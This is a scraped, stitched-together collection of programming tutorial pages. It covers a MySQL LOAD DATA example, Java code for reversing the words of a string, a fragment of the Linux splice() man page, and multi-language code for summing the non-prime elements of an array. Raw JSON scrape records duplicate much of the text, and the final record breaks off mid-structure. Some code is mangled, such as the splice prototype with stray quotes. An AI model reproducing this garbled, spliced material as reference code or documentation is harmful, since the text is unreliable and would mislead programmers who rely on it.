2 rows in set (0.00 sec)
From the above result set, it is clear that MySQL only uploaded the value for three columns namely Id, Name and Salary. It stores NULL in the field of ‘Country’.
|
[
{
"code": null,
"e": 1394,
"s": 1062,
"text": "Suppose if we have the values for some specific columns in the text file and MySQL table, in which we want to import the data, is having an extra column(s) then by mentioning the names of the columns in the query we can upload the values of those specific columns only. It can be understood with the help of the following example −"
},
{
"code": null,
"e": 1499,
"s": 1394,
"text": "Suppose we are having the values of columns ‘id’, ‘Name’ and ‘Salary’ only in the text file as follows −"
},
{
"code": null,
"e": 1530,
"s": 1499,
"text": "105,Chum,11000\n106,Danny,12000"
},
{
"code": null,
"e": 1707,
"s": 1530,
"text": "Now while importing this text file into MySQL table then we need to mention the names of the columns for which we are having the values in a text file in the query as follows −"
},
{
"code": null,
"e": 2237,
"s": 1707,
"text": "mysql> LOAD DATA LOCAL INFILE 'd:\\A.txt' INTO table employee9_tbl FIELDS TERMINATED BY ','(id, Name, Salary);\nQuery OK, 2 rows affected (0.04 sec)\nRecords: 2 Deleted: 0 Skipped: 0 Warnings: 0\n\nmysql> Select * from employee9_tbl;\n+------+----------------+----------+--------+\n| Id | Name | Country | Salary |\n+------+----------------+----------+--------+\n| 105 | Chum | NULL | 11000 |\n| 106 | Danny | NULL | 12000 |\n+------+----------------+----------+--------+\n2 rows in set (0.00 sec)"
},
{
"code": null,
"e": 2399,
"s": 2237,
"text": "From the above result set, it is clear that MySQL only uploaded the value for three columns namely Id, Name and Salary. It stores NULL in the field of ‘Country’."
}
] |
Java Program To Reverse Words In A Given String
|
15 Dec, 2021
Example: Let the input string be “i like this program very much”. The function should change the string to “much very program this like i”
Examples:
Input: s = “geeks quiz practice code” Output: s = “code practice quiz geeks”
Input: s = “getting good at coding needs a lot of practice” Output: s = “practice of lot a needs coding at good getting”
Algorithm:
Initially, reverse the individual words of the given string one by one, for the above example, after reversing individual words the string should be “i ekil siht margorp yrev hcum”.
Reverse the whole string from start to end to get the desired output “much very program this like i” in the above example.
Below is the implementation of the above approach:
Java
// Java program to reverse // a Stringimport java.util.*;class GFG{ // Reverse the letters of // the word static void reverse(char str[], int start, int end) { // Temporary variable to // store character char temp; while (start <= end) { // Swapping the first and // last character temp = str[start]; str[start] = str[end]; str[end] = temp; start++; end--; }}// Function to reverse wordsstatic char[] reverseWords(char []s){ // Reversing individual words as // explained in the first step int start = 0; for (int end = 0; end < s.length; end++) { // If we see a space, we reverse the // previous word (word between // the indexes start and end-1 // i.e., s[start..end-1] if (s[end] == ' ') { reverse(s, start, end); start = end + 1; } } // Reverse the last word reverse(s, start, s.length - 1); // Reverse the entire String reverse(s, 0, s.length - 1); return s;} // Driver Codepublic static void main(String[] args){ String s = "i like this program very much "; char []p = reverseWords(s.toCharArray()); System.out.print(p);}}// This code is contributed by gauravrajput1
Output
much very program this like i
Another Approach:
we can do the above task by splitting and saving the string in a reverse manner.
Below is the implementation of the above approach:
Java
// Java program to reverse a // stringpublic class ReverseWords { public static void main(String[] args) { String s[] = "i like this program very much".split(" "); String ans = ""; for (int i = s.length - 1; i >= 0; i--) { ans += s[i] + " "; } System.out.println("Reversed String:"); System.out.println(ans.substring(0, ans.length() - 1)); }}
Output:
Reversed String:
much very program this like i
Time Complexity: O(n)
Without using any extra space:The above task can also be accomplished by splitting and directly swapping the string starting from the middle. As direct swapping is involved, less space is consumed too.
Below is the implementation of the above approach:
Java
// Java code to reverse a stringclass GFG{ // Reverse the stringpublic static String[] RevString(String[] s, int l){ // Check if number of words is even if (l % 2 == 0) { // Find the middle word int j = l / 2; // Starting from the middle // start swapping words at // jth position and l - 1 - j position while (j <= l - 1) { String temp; temp = s[l - j - 1]; s[l - j - 1] = s[j]; s[j] = temp; j += 1; } } // Check if number of words is odd else { // Find the middle word int j = (l / 2) + 1; // Starting from the middle start // swapping the words at jth // position and l-1-j position while (j <= l - 1) { String temp; temp = s[l - j - 1]; s[l - j - 1] = s[j]; s[j] = temp; j += 1; } } // Return the reversed sentence return s;} // Driver Codepublic static void main(String[] args){ String s = "getting good at coding " + "needs a lot of practice"; String[] words = s.split("\s"); words = RevString(words, words.length); s = String.join(" ", words); System.out.println(s);}}// This code is contributed by MuskanKalra1
Output:
practice of lot a needs coding at good getting
Please refer complete article on Reverse words in a given string for more details!
Accolite
Adobe
Amazon
CBSE - Class 11
Cisco
Goldman Sachs
MakeMyTrip
MAQ Software
Microsoft
Morgan Stanley
Paytm
Payu
Reverse
SAP Labs
school-programming
Wipro
Zoho
Java Programs
Strings
Paytm
Zoho
Morgan Stanley
Accolite
Amazon
Microsoft
MakeMyTrip
Payu
Goldman Sachs
MAQ Software
Adobe
Wipro
SAP Labs
Cisco
Strings
Reverse
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Factory method design pattern in Java
Java Program to Remove Duplicate Elements From the Array
Java program to count the occurrence of each character in a string using Hashmap
Iterate through List in Java
How to Iterate HashMap in Java?
Write a program to reverse an array or string
Reverse a string in Java
Write a program to print all permutations of a given string
C++ Data Types
Check for Balanced Brackets in an expression (well-formedness) using Stack
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n15 Dec, 2021"
},
{
"code": null,
"e": 167,
"s": 28,
"text": "Example: Let the input string be “i like this program very much”. The function should change the string to “much very program this like i”"
},
{
"code": null,
"e": 178,
"s": 167,
"text": "Examples: "
},
{
"code": null,
"e": 255,
"s": 178,
"text": "Input: s = “geeks quiz practice code” Output: s = “code practice quiz geeks”"
},
{
"code": null,
"e": 376,
"s": 255,
"text": "Input: s = “getting good at coding needs a lot of practice” Output: s = “practice of lot a needs coding at good getting”"
},
{
"code": null,
"e": 389,
"s": 376,
"text": "Algorithm: "
},
{
"code": null,
"e": 571,
"s": 389,
"text": "Initially, reverse the individual words of the given string one by one, for the above example, after reversing individual words the string should be “i ekil siht margorp yrev hcum”."
},
{
"code": null,
"e": 694,
"s": 571,
"text": "Reverse the whole string from start to end to get the desired output “much very program this like i” in the above example."
},
{
"code": null,
"e": 746,
"s": 694,
"text": "Below is the implementation of the above approach: "
},
{
"code": null,
"e": 751,
"s": 746,
"text": "Java"
},
{
"code": "// Java program to reverse // a Stringimport java.util.*;class GFG{ // Reverse the letters of // the word static void reverse(char str[], int start, int end) { // Temporary variable to // store character char temp; while (start <= end) { // Swapping the first and // last character temp = str[start]; str[start] = str[end]; str[end] = temp; start++; end--; }}// Function to reverse wordsstatic char[] reverseWords(char []s){ // Reversing individual words as // explained in the first step int start = 0; for (int end = 0; end < s.length; end++) { // If we see a space, we reverse the // previous word (word between // the indexes start and end-1 // i.e., s[start..end-1] if (s[end] == ' ') { reverse(s, start, end); start = end + 1; } } // Reverse the last word reverse(s, start, s.length - 1); // Reverse the entire String reverse(s, 0, s.length - 1); return s;} // Driver Codepublic static void main(String[] args){ String s = \"i like this program very much \"; char []p = reverseWords(s.toCharArray()); System.out.print(p);}}// This code is contributed by gauravrajput1",
"e": 1956,
"s": 751,
"text": null
},
{
"code": null,
"e": 1963,
"s": 1956,
"text": "Output"
},
{
"code": null,
"e": 1993,
"s": 1963,
"text": "much very program this like i"
},
{
"code": null,
"e": 2011,
"s": 1993,
"text": "Another Approach:"
},
{
"code": null,
"e": 2093,
"s": 2011,
"text": "we can do the above task by splitting and saving the string in a reverse manner. "
},
{
"code": null,
"e": 2144,
"s": 2093,
"text": "Below is the implementation of the above approach:"
},
{
"code": null,
"e": 2149,
"s": 2144,
"text": "Java"
},
{
"code": "// Java program to reverse a // stringpublic class ReverseWords { public static void main(String[] args) { String s[] = \"i like this program very much\".split(\" \"); String ans = \"\"; for (int i = s.length - 1; i >= 0; i--) { ans += s[i] + \" \"; } System.out.println(\"Reversed String:\"); System.out.println(ans.substring(0, ans.length() - 1)); }}",
"e": 2597,
"s": 2149,
"text": null
},
{
"code": null,
"e": 2605,
"s": 2597,
"text": "Output:"
},
{
"code": null,
"e": 2652,
"s": 2605,
"text": "Reversed String:\nmuch very program this like i"
},
{
"code": null,
"e": 2675,
"s": 2652,
"text": "Time Complexity: O(n) "
},
{
"code": null,
"e": 2880,
"s": 2675,
"text": "Without using any extra space:The above task can also be accomplished by splitting and directly swapping the string starting from the middle. As direct swapping is involved, less space is consumed too. "
},
{
"code": null,
"e": 2931,
"s": 2880,
"text": "Below is the implementation of the above approach:"
},
{
"code": null,
"e": 2936,
"s": 2931,
"text": "Java"
},
{
"code": "// Java code to reverse a stringclass GFG{ // Reverse the stringpublic static String[] RevString(String[] s, int l){ // Check if number of words is even if (l % 2 == 0) { // Find the middle word int j = l / 2; // Starting from the middle // start swapping words at // jth position and l - 1 - j position while (j <= l - 1) { String temp; temp = s[l - j - 1]; s[l - j - 1] = s[j]; s[j] = temp; j += 1; } } // Check if number of words is odd else { // Find the middle word int j = (l / 2) + 1; // Starting from the middle start // swapping the words at jth // position and l-1-j position while (j <= l - 1) { String temp; temp = s[l - j - 1]; s[l - j - 1] = s[j]; s[j] = temp; j += 1; } } // Return the reversed sentence return s;} // Driver Codepublic static void main(String[] args){ String s = \"getting good at coding \" + \"needs a lot of practice\"; String[] words = s.split(\"\\s\"); words = RevString(words, words.length); s = String.join(\" \", words); System.out.println(s);}}// This code is contributed by MuskanKalra1",
"e": 4343,
"s": 2936,
"text": null
},
{
"code": null,
"e": 4351,
"s": 4343,
"text": "Output:"
},
{
"code": null,
"e": 4398,
"s": 4351,
"text": "practice of lot a needs coding at good getting"
},
{
"code": null,
"e": 4481,
"s": 4398,
"text": "Please refer complete article on Reverse words in a given string for more details!"
},
{
"code": null,
"e": 4490,
"s": 4481,
"text": "Accolite"
},
{
"code": null,
"e": 4496,
"s": 4490,
"text": "Adobe"
},
{
"code": null,
"e": 4503,
"s": 4496,
"text": "Amazon"
},
{
"code": null,
"e": 4519,
"s": 4503,
"text": "CBSE - Class 11"
},
{
"code": null,
"e": 4525,
"s": 4519,
"text": "Cisco"
},
{
"code": null,
"e": 4539,
"s": 4525,
"text": "Goldman Sachs"
},
{
"code": null,
"e": 4550,
"s": 4539,
"text": "MakeMyTrip"
},
{
"code": null,
"e": 4563,
"s": 4550,
"text": "MAQ Software"
},
{
"code": null,
"e": 4573,
"s": 4563,
"text": "Microsoft"
},
{
"code": null,
"e": 4588,
"s": 4573,
"text": "Morgan Stanley"
},
{
"code": null,
"e": 4594,
"s": 4588,
"text": "Paytm"
},
{
"code": null,
"e": 4599,
"s": 4594,
"text": "Payu"
},
{
"code": null,
"e": 4607,
"s": 4599,
"text": "Reverse"
},
{
"code": null,
"e": 4616,
"s": 4607,
"text": "SAP Labs"
},
{
"code": null,
"e": 4635,
"s": 4616,
"text": "school-programming"
},
{
"code": null,
"e": 4641,
"s": 4635,
"text": "Wipro"
},
{
"code": null,
"e": 4646,
"s": 4641,
"text": "Zoho"
},
{
"code": null,
"e": 4660,
"s": 4646,
"text": "Java Programs"
},
{
"code": null,
"e": 4668,
"s": 4660,
"text": "Strings"
},
{
"code": null,
"e": 4674,
"s": 4668,
"text": "Paytm"
},
{
"code": null,
"e": 4679,
"s": 4674,
"text": "Zoho"
},
{
"code": null,
"e": 4694,
"s": 4679,
"text": "Morgan Stanley"
},
{
"code": null,
"e": 4703,
"s": 4694,
"text": "Accolite"
},
{
"code": null,
"e": 4710,
"s": 4703,
"text": "Amazon"
},
{
"code": null,
"e": 4720,
"s": 4710,
"text": "Microsoft"
},
{
"code": null,
"e": 4731,
"s": 4720,
"text": "MakeMyTrip"
},
{
"code": null,
"e": 4736,
"s": 4731,
"text": "Payu"
},
{
"code": null,
"e": 4750,
"s": 4736,
"text": "Goldman Sachs"
},
{
"code": null,
"e": 4763,
"s": 4750,
"text": "MAQ Software"
},
{
"code": null,
"e": 4769,
"s": 4763,
"text": "Adobe"
},
{
"code": null,
"e": 4775,
"s": 4769,
"text": "Wipro"
},
{
"code": null,
"e": 4784,
"s": 4775,
"text": "SAP Labs"
},
{
"code": null,
"e": 4790,
"s": 4784,
"text": "Cisco"
},
{
"code": null,
"e": 4798,
"s": 4790,
"text": "Strings"
},
{
"code": null,
"e": 4806,
"s": 4798,
"text": "Reverse"
},
{
"code": null,
"e": 4904,
"s": 4806,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 4942,
"s": 4904,
"text": "Factory method design pattern in Java"
},
{
"code": null,
"e": 4999,
"s": 4942,
"text": "Java Program to Remove Duplicate Elements From the Array"
},
{
"code": null,
"e": 5080,
"s": 4999,
"text": "Java program to count the occurrence of each character in a string using Hashmap"
},
{
"code": null,
"e": 5109,
"s": 5080,
"text": "Iterate through List in Java"
},
{
"code": null,
"e": 5141,
"s": 5109,
"text": "How to Iterate HashMap in Java?"
},
{
"code": null,
"e": 5187,
"s": 5141,
"text": "Write a program to reverse an array or string"
},
{
"code": null,
"e": 5212,
"s": 5187,
"text": "Reverse a string in Java"
},
{
"code": null,
"e": 5272,
"s": 5212,
"text": "Write a program to print all permutations of a given string"
},
{
"code": null,
"e": 5287,
"s": 5272,
"text": "C++ Data Types"
}
] |
splice() - Unix, Linux System Call
|
Unix - Home
Unix - Getting Started
Unix - File Management
Unix - Directories
Unix - File Permission
Unix - Environment
Unix - Basic Utilities
Unix - Pipes & Filters
Unix - Processes
Unix - Communication
Unix - The vi Editor
Unix - What is Shell?
Unix - Using Variables
Unix - Special Variables
Unix - Using Arrays
Unix - Basic Operators
Unix - Decision Making
Unix - Shell Loops
Unix - Loop Control
Unix - Shell Substitutions
Unix - Quoting Mechanisms
Unix - IO Redirections
Unix - Shell Functions
Unix - Manpage Help
Unix - Regular Expressions
Unix - File System Basics
Unix - User Administration
Unix - System Performance
Unix - System Logging
Unix - Signals and Traps
Unix - Useful Commands
Unix - Quick Guide
Unix - Builtin Functions
Unix - System Calls
Unix - Commands List
Unix Useful Resources
Computer Glossary
Who is Who
Copyright © 2014 by tutorialspoint
#define _GNU_SOURCE
#include <fcntl.h>
long splice(int fd_in, off_t *off_in, int fd_out,
off_t *off_out, size_t len
", unsigned int " flags );
long splice(int fd_in, off_t *off_in, int fd_out,
off_t *off_out, size_t len
", unsigned int " flags );
If
fd_in refers to a pipe, then
off_in must be NULL.
If
fd_in does not refer to a pipe and
off_in is NULL, then bytes are read from
fd_in starting from the current file offset,
and the current file offset is adjusted appropriately.
If
fd_in does not refer to a pipe and
off_in is not NULL, then
off_in must point to a buffer which specifies the starting
offset from which bytes will be read from
fd_in; in this case, the current file offset of
fd_in is not changed.
Analogous statements apply for
out_fd and
off_out.
The
flags argument is a bit mask that is composed by ORing together
zero or more of the following values:
On error,
splice() returns -1 and
errno is set to indicate the error.
|
[
{
"code": null,
"e": 1600,
"s": 1588,
"text": "Unix - Home"
},
{
"code": null,
"e": 1623,
"s": 1600,
"text": "Unix - Getting Started"
},
{
"code": null,
"e": 1646,
"s": 1623,
"text": "Unix - File Management"
},
{
"code": null,
"e": 1665,
"s": 1646,
"text": "Unix - Directories"
},
{
"code": null,
"e": 1688,
"s": 1665,
"text": "Unix - File Permission"
},
{
"code": null,
"e": 1707,
"s": 1688,
"text": "Unix - Environment"
},
{
"code": null,
"e": 1730,
"s": 1707,
"text": "Unix - Basic Utilities"
},
{
"code": null,
"e": 1753,
"s": 1730,
"text": "Unix - Pipes & Filters"
},
{
"code": null,
"e": 1770,
"s": 1753,
"text": "Unix - Processes"
},
{
"code": null,
"e": 1791,
"s": 1770,
"text": "Unix - Communication"
},
{
"code": null,
"e": 1812,
"s": 1791,
"text": "Unix - The vi Editor"
},
{
"code": null,
"e": 1834,
"s": 1812,
"text": "Unix - What is Shell?"
},
{
"code": null,
"e": 1857,
"s": 1834,
"text": "Unix - Using Variables"
},
{
"code": null,
"e": 1882,
"s": 1857,
"text": "Unix - Special Variables"
},
{
"code": null,
"e": 1902,
"s": 1882,
"text": "Unix - Using Arrays"
},
{
"code": null,
"e": 1925,
"s": 1902,
"text": "Unix - Basic Operators"
},
{
"code": null,
"e": 1948,
"s": 1925,
"text": "Unix - Decision Making"
},
{
"code": null,
"e": 1967,
"s": 1948,
"text": "Unix - Shell Loops"
},
{
"code": null,
"e": 1987,
"s": 1967,
"text": "Unix - Loop Control"
},
{
"code": null,
"e": 2014,
"s": 1987,
"text": "Unix - Shell Substitutions"
},
{
"code": null,
"e": 2040,
"s": 2014,
"text": "Unix - Quoting Mechanisms"
},
{
"code": null,
"e": 2063,
"s": 2040,
"text": "Unix - IO Redirections"
},
{
"code": null,
"e": 2086,
"s": 2063,
"text": "Unix - Shell Functions"
},
{
"code": null,
"e": 2106,
"s": 2086,
"text": "Unix - Manpage Help"
},
{
"code": null,
"e": 2133,
"s": 2106,
"text": "Unix - Regular Expressions"
},
{
"code": null,
"e": 2159,
"s": 2133,
"text": "Unix - File System Basics"
},
{
"code": null,
"e": 2186,
"s": 2159,
"text": "Unix - User Administration"
},
{
"code": null,
"e": 2212,
"s": 2186,
"text": "Unix - System Performance"
},
{
"code": null,
"e": 2234,
"s": 2212,
"text": "Unix - System Logging"
},
{
"code": null,
"e": 2259,
"s": 2234,
"text": "Unix - Signals and Traps"
},
{
"code": null,
"e": 2282,
"s": 2259,
"text": "Unix - Useful Commands"
},
{
"code": null,
"e": 2301,
"s": 2282,
"text": "Unix - Quick Guide"
},
{
"code": null,
"e": 2326,
"s": 2301,
"text": "Unix - Builtin Functions"
},
{
"code": null,
"e": 2346,
"s": 2326,
"text": "Unix - System Calls"
},
{
"code": null,
"e": 2367,
"s": 2346,
"text": "Unix - Commands List"
},
{
"code": null,
"e": 2389,
"s": 2367,
"text": "Unix Useful Resources"
},
{
"code": null,
"e": 2407,
"s": 2389,
"text": "Computer Glossary"
},
{
"code": null,
"e": 2418,
"s": 2407,
"text": "Who is Who"
},
{
"code": null,
"e": 2453,
"s": 2418,
"text": "Copyright © 2014 by tutorialspoint"
},
{
"code": null,
"e": 2614,
"s": 2453,
"text": "#define _GNU_SOURCE \n#include <fcntl.h> \n\nlong splice(int fd_in, off_t *off_in, int fd_out, \n off_t *off_out, size_t len \n\", unsigned int \" flags );\n"
},
{
"code": null,
"e": 2734,
"s": 2614,
"text": "\nlong splice(int fd_in, off_t *off_in, int fd_out, \n off_t *off_out, size_t len \n\", unsigned int \" flags );\n"
},
{
"code": null,
"e": 3253,
"s": 2734,
"text": "\nIf\nfd_in refers to a pipe, then\noff_in must be NULL.\nIf\nfd_in does not refer to a pipe and\noff_in is NULL, then bytes are read from\nfd_in starting from the current file offset,\nand the current file offset is adjusted appropriately.\nIf\nfd_in does not refer to a pipe and\noff_in is not NULL, then\noff_in must point to a buffer which specifies the starting\noffset from which bytes will be read from\nfd_in; in this case, the current file offset of\nfd_in is not changed.\nAnalogous statements apply for\nout_fd and\noff_out. "
},
{
"code": null,
"e": 3361,
"s": 3253,
"text": "\nThe\nflags argument is a bit mask that is composed by ORing together\nzero or more of the following values:\n"
}
] |
Find the sum of non-prime elements in the given array
|
13 Apr, 2021
Given an array arr[] and the task is to print the sum of the non-prime elements from the array.Examples:
Input: arr[] = {1, 3, 7, 4, 9, 8} Output: 22 Non-prime elements are {1, 4, 9, 8} and 1 + 4 + 9 + 8 = 22Input: arr[] = {11, 4, 10, 7} Output: 14
Approach: Initialize sum = 0 and start traversing the array element by element, if current element is not a prime then update sum = sum + arr[i]. Print the sum in the end. Primality can be optimally tested using Sieve of Eratosthenes.Below is the implementation of the above approach:
C++
Java
Python3
C#
PHP
Javascript
// CPP program to find sum of// non-primes in given array#include <bits/stdc++.h>using namespace std; // Function to return the sum of// non-prime elements from the arrayint nonPrimeSum(int arr[], int n){ // Find maximum value in the array int max_val = *max_element(arr, arr + n); // USE SIEVE TO FIND ALL PRIME NUMBERS LESS // THAN OR EQUAL TO max_val // Create a boolean array "prime[0..n]". A // value in prime[i] will finally be false // if i is Not a prime, else true. vector<bool> prime(max_val + 1, true); // Remaining part of SIEVE prime[0] = false; prime[1] = false; for (int p = 2; p * p <= max_val; p++) { // If prime[p] is not changed, then // it is a prime if (prime[p] == true) { // Update all multiples of p for (int i = p * 2; i <= max_val; i += p) prime[i] = false; } } // Sum all non-prime elements in arr[] int sum = 0; for (int i = 0; i < n; i++) if (!prime[arr[i]]) sum += arr[i]; return sum;} // Driver codeint main(){ int arr[] = { 1, 3, 7, 4, 9, 8 }; int n = sizeof(arr) / sizeof(arr[0]); cout << nonPrimeSum(arr, n); return 0;}
// Java program to find sum of// non-primes in given arrayimport java.util.*; class GFG{ //returns the maximum elementstatic int max_element(int arr[]){ int max_e = Integer.MIN_VALUE; for(int i = 0; i < arr.length; i++) { max_e = Math.max(max_e, arr[i]); } return max_e;} // Function to return the sum of// non-prime elements from the arraystatic int nonPrimeSum(int arr[], int n){ // Find maximum value in the array int max_val = max_element(arr); // USE SIEVE TO FIND ALL PRIME NUMBERS LESS // THAN OR EQUAL TO max_val // Create a boolean array "prime[0..n]". A // value in prime[i] will finally be false // if i is Not a prime, else true. boolean prime[] = new boolean[max_val + 1]; for(int i = 0; i < prime.length; i++) prime[i] = true; // Remaining part of SIEVE prime[0] = false; prime[1] = false; for (int p = 2; p * p <= max_val; p++) { // If prime[p] is not changed, then // it is a prime if (prime[p] == true) { // Update all multiples of p for (int i = p * 2; i <= max_val; i += p) prime[i] = false; } } // Sum all non-prime elements in arr[] int sum = 0; for (int i = 0; i < n; i++) if (!prime[arr[i]]) sum += arr[i]; return sum;} // Driver codepublic static void main(String args[]){ int arr[] = { 1, 3, 7, 4, 9, 8 }; int n = arr.length; System.out.println( nonPrimeSum(arr, n));}} // This code is contributed by Arnab Kundu
# Python3 program to find sum of non-primes# in given array # from math lib. import sqrtfrom math import sqrt # Function to return the sum of# non-prime elements from the arraydef nonPrimeSum(arr, n) : # Find maximum value in the array max_val = max(arr) # USE SIEVE TO FIND ALL PRIME NUMBERS # LESS THAN OR EQUAL TO max_val # Create a boolean array "prime[0..n]". # A value in prime[i] will finally be # false if i is Not a prime, else true. prime = [True] * (max_val + 1) # Remaining part of SIEVE prime[0] = False prime[1] = False for p in range(2, int(sqrt(max_val)) + 1) : # If prime[p] is not changed, # then it is a prime if (prime[p] == True) : # Update all multiples of p for i in range(p * 2, max_val + 1, p) : prime[i] = False # Sum all non-prime elements in arr[] sum = 0 for i in range(0, n) : if (not prime[arr[i]]) : sum += arr[i] return sum # Driver codeif __name__ == "__main__" : arr= [ 1, 3, 7, 4, 9, 8 ] n = len(arr) print(nonPrimeSum(arr, n)) # This code is contributed by Ryuga
// C# program to find sum of non-primes// in given arrayusing System; class GFG{ // returns the maximum elementstatic int max_element(int[] arr){ int max_e = int.MinValue; for(int i = 0; i < arr.Length; i++) { max_e = Math.Max(max_e, arr[i]); } return max_e;} // Function to return the sum of// non-prime elements from the arraystatic int nonPrimeSum(int[] arr, int n){ // Find maximum value in the array int max_val = max_element(arr); // USE SIEVE TO FIND ALL PRIME NUMBERS // LESS THAN OR EQUAL TO max_val // Create a boolean array "prime[0..n]". // A value in prime[i] will finally be // false if i is Not a prime, else true. bool[] prime = new bool[max_val + 1]; for(int i = 0; i < prime.Length; i++) prime[i] = true; // Remaining part of SIEVE prime[0] = false; prime[1] = false; for (int p = 2; p * p <= max_val; p++) { // If prime[p] is not changed, // then it is a prime if (prime[p] == true) { // Update all multiples of p for (int i = p * 2; i <= max_val; i += p) prime[i] = false; } } // Sum all non-prime elements in arr[] int sum = 0; for (int i = 0; i < n; i++) if (!prime[arr[i]]) sum += arr[i]; return sum;} // Driver codepublic static void Main(){ int[] arr = { 1, 3, 7, 4, 9, 8 }; int n = arr.Length; Console.WriteLine(nonPrimeSum(arr, n));}} // This code is contributed// by Mukul Singh.
<?php// PHP program to find sum of// non-primes in given array // Function to return the sum of// non-prime elements from the arrayfunction nonPrimeSum($arr, $n){ // Find maximum value in the array $max_val = max($arr); // USE SIEVE TO FIND ALL PRIME NUMBERS LESS // THAN OR EQUAL TO max_val // Create a boolean array "prime[0..n]". A // value in prime[i] will finally be false // if i is Not a prime, else true. $prime = array_fill(0, $max_val + 1, true); // Remaining part of SIEVE $prime[0] = false; $prime[1] = false; for ($p = 2; $p * $p <= $max_val; $p++) { // If prime[p] is not changed, then // it is a prime if ($prime[$p] == true) { // Update all multiples of p for ($i = $p * 2; $i <= $max_val; $i += $p) $prime[$i] = false; } } // Sum all non-prime elements in arr[] $sum = 0; for ($i = 0; $i < $n; $i++) if (!$prime[$arr[$i]]) $sum += $arr[$i]; return $sum;} // Driver code$arr = array( 1, 3, 7, 4, 9, 8 );$n = count($arr); echo nonPrimeSum($arr, $n); // this code is contributed by mits?>
<script> // Javascript program to find sum of// non-primes in given array //returns the maximum element function max_element(arr) { let max_e = Number.MIN_VALUE; for(let i = 0; i < arr.length; i++) { max_e = Math.max(max_e, arr[i]); } return max_e; } // Function to return the sum of // non-prime elements from the array function nonPrimeSum(arr,n) { // Find maximum value in the array let max_val = max_element(arr); // USE SIEVE TO FIND ALL PRIME NUMBERS LESS // THAN OR EQUAL TO max_val // Create a boolean array "prime[0..n]". A // value in prime[i] will finally be false // if i is Not a prime, else true. let prime = new Array(max_val + 1); for(let i = 0; i < prime.length; i++) prime[i] = true; // Remaining part of SIEVE prime[0] = false; prime[1] = false; for (let p = 2; p * p <= max_val; p++) { // If prime[p] is not changed, then // it is a prime if (prime[p] == true) { // Update all multiples of p for (let i = p * 2; i <= max_val; i += p) prime[i] = false; } } // Sum all non-prime elements in arr[] let sum = 0; for (let i = 0; i < n; i++) if (!prime[arr[i]]) sum += arr[i]; return sum; } // Driver code let arr=[1, 3, 7, 4, 9, 8 ]; let n = arr.length; document.write( nonPrimeSum(arr, n)); // This code is contributed by unknown2108 </script>
22
ankthon
andrew1234
Code_Mech
Mithun Kumar
nidhi_biet
unknown2108
Prime Number
sieve
Arrays
Arrays
Prime Number
sieve
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Count of subarrays with average K
Introduction to Data Structures
Window Sliding Technique
Find subarray with given sum | Set 1 (Nonnegative Numbers)
Next Greater Element
What is Data Structure: Types, Classifications and Applications
Merge Overlapping Intervals
Count of longest possible subarrays with sum not divisible by K
Find a triplet that sum to a given value
Remove duplicates from sorted array
|
[
{
"code": null,
"e": 52,
"s": 24,
"text": "\n13 Apr, 2021"
},
{
"code": null,
"e": 159,
"s": 52,
"text": "Given an array arr[] and the task is to print the sum of the non-prime elements from the array.Examples: "
},
{
"code": null,
"e": 305,
"s": 159,
"text": "Input: arr[] = {1, 3, 7, 4, 9, 8} Output: 22 Non-prime elements are {1, 4, 9, 8} and 1 + 4 + 9 + 8 = 22Input: arr[] = {11, 4, 10, 7} Output: 14 "
},
{
"code": null,
"e": 594,
"s": 307,
"text": "Approach: Initialize sum = 0 and start traversing the array element by element, if current element is not a prime then update sum = sum + arr[i]. Print the sum in the end. Primality can be optimally tested using Sieve of Eratosthenes.Below is the implementation of the above approach: "
},
{
"code": null,
"e": 598,
"s": 594,
"text": "C++"
},
{
"code": null,
"e": 603,
"s": 598,
"text": "Java"
},
{
"code": null,
"e": 611,
"s": 603,
"text": "Python3"
},
{
"code": null,
"e": 614,
"s": 611,
"text": "C#"
},
{
"code": null,
"e": 618,
"s": 614,
"text": "PHP"
},
{
"code": null,
"e": 629,
"s": 618,
"text": "Javascript"
},
{
"code": "// CPP program to find sum of// non-primes in given array#include <bits/stdc++.h>using namespace std; // Function to return the sum of// non-prime elements from the arrayint nonPrimeSum(int arr[], int n){ // Find maximum value in the array int max_val = *max_element(arr, arr + n); // USE SIEVE TO FIND ALL PRIME NUMBERS LESS // THAN OR EQUAL TO max_val // Create a boolean array \"prime[0..n]\". A // value in prime[i] will finally be false // if i is Not a prime, else true. vector<bool> prime(max_val + 1, true); // Remaining part of SIEVE prime[0] = false; prime[1] = false; for (int p = 2; p * p <= max_val; p++) { // If prime[p] is not changed, then // it is a prime if (prime[p] == true) { // Update all multiples of p for (int i = p * 2; i <= max_val; i += p) prime[i] = false; } } // Sum all non-prime elements in arr[] int sum = 0; for (int i = 0; i < n; i++) if (!prime[arr[i]]) sum += arr[i]; return sum;} // Driver codeint main(){ int arr[] = { 1, 3, 7, 4, 9, 8 }; int n = sizeof(arr) / sizeof(arr[0]); cout << nonPrimeSum(arr, n); return 0;}",
"e": 1838,
"s": 629,
"text": null
},
{
"code": "// Java program to find sum of// non-primes in given arrayimport java.util.*; class GFG{ //returns the maximum elementstatic int max_element(int arr[]){ int max_e = Integer.MIN_VALUE; for(int i = 0; i < arr.length; i++) { max_e = Math.max(max_e, arr[i]); } return max_e;} // Function to return the sum of// non-prime elements from the arraystatic int nonPrimeSum(int arr[], int n){ // Find maximum value in the array int max_val = max_element(arr); // USE SIEVE TO FIND ALL PRIME NUMBERS LESS // THAN OR EQUAL TO max_val // Create a boolean array \"prime[0..n]\". A // value in prime[i] will finally be false // if i is Not a prime, else true. boolean prime[] = new boolean[max_val + 1]; for(int i = 0; i < prime.length; i++) prime[i] = true; // Remaining part of SIEVE prime[0] = false; prime[1] = false; for (int p = 2; p * p <= max_val; p++) { // If prime[p] is not changed, then // it is a prime if (prime[p] == true) { // Update all multiples of p for (int i = p * 2; i <= max_val; i += p) prime[i] = false; } } // Sum all non-prime elements in arr[] int sum = 0; for (int i = 0; i < n; i++) if (!prime[arr[i]]) sum += arr[i]; return sum;} // Driver codepublic static void main(String args[]){ int arr[] = { 1, 3, 7, 4, 9, 8 }; int n = arr.length; System.out.println( nonPrimeSum(arr, n));}} // This code is contributed by Arnab Kundu",
"e": 3365,
"s": 1838,
"text": null
},
{
